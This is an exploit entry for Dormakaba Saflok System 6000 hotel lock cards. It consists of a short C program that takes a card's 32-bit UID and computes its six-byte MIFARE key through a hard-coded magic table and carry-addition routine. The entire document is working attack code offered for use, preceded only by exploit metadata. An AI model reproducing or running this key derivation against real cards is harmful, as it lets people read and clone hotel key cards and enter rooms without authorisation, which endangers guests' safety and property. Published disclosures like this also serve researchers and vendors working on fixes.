Saflok - Key Derication Function Exploit

// Exploit Title: Saflok KDF
// Date: 2023-10-29
// Exploit Author: a51199deefa2c2520cea24f746d899ce
// Vendor Homepage: https://www.dormakaba.com/
// Version: System 6000
// Tested on: Dormakaba Saflok cards
// CVE: N/A

#include <stdio.h>
#include <stdint.h>

#define MAGIC_TABLE_SIZE 192
#define KEY_LENGTH 6
#define UID_LENGTH 4

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <32-bit uid value in hexadecimal format>\n", argv[0]);
        return 1;
    }

    uint8_t magic_table[MAGIC_TABLE_SIZE] = {
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xF0, 0x57, 0xB3, 0x9E, 0xE3, 0xD8,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x96, 0x9D, 0x95, 0x4A, 0xC1, 0x57,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x43, 0x58, 0x0D, 0x2C, 0x9D,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFF, 0xCC, 0xE0, 0x05, 0x0C, 0x43,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x34, 0x1B, 0x15, 0xA6, 0x90, 0xCC,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x89, 0x58, 0x56, 0x12, 0xE7, 0x1B,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xBB, 0x74, 0xB0, 0x95, 0x36, 0x58,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFB, 0x97, 0xF8, 0x4B, 0x5B, 0x74,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xC9, 0xD1, 0x88, 0x35, 0x9F, 0x92,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x92, 0xE9, 0x7F, 0x58, 0x97,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x16, 0x6C, 0xA2, 0xB0, 0x9F, 0xD1,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x27, 0xDD, 0x93, 0x10, 0x1C, 0x6C,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xDA, 0x3E, 0x3F, 0xD6, 0x49, 0xDD,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x58, 0xDD, 0xED, 0x07, 0x8E, 0x3E,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x5C, 0xD0, 0x05, 0xCF, 0xD9, 0x07,
                    0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x11, 0x8D, 0xD0, 0x01, 0x87, 0xD0
    };

    uint8_t uid[UID_LENGTH];
    sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]);

    uint8_t magic_byte = (uid[3] >> 4) + (uid[2] >> 4) + (uid[0] & 0x0F);
    uint8_t magickal_index = (magic_byte & 0x0F) * 12 + 11;

    uint8_t key[KEY_LENGTH] = {magic_byte, uid[0], uid[1], uid[2], uid[3], magic_byte};
    uint8_t carry_sum = 0;

    for (int i = KEY_LENGTH - 1; i >= 0 && magickal_index >= 0; i--, magickal_index--) {
        uint16_t keysum = key[i] + magic_table[magickal_index];
        key[i] = (keysum & 0xFF) + carry_sum;
        carry_sum = keysum >> 8;
    }

    printf("Generated Key: ");
    for (int i = 0; i < KEY_LENGTH; i++) {
        printf("%02X", key[i]);
    }
    printf("\n");

    return 0;
}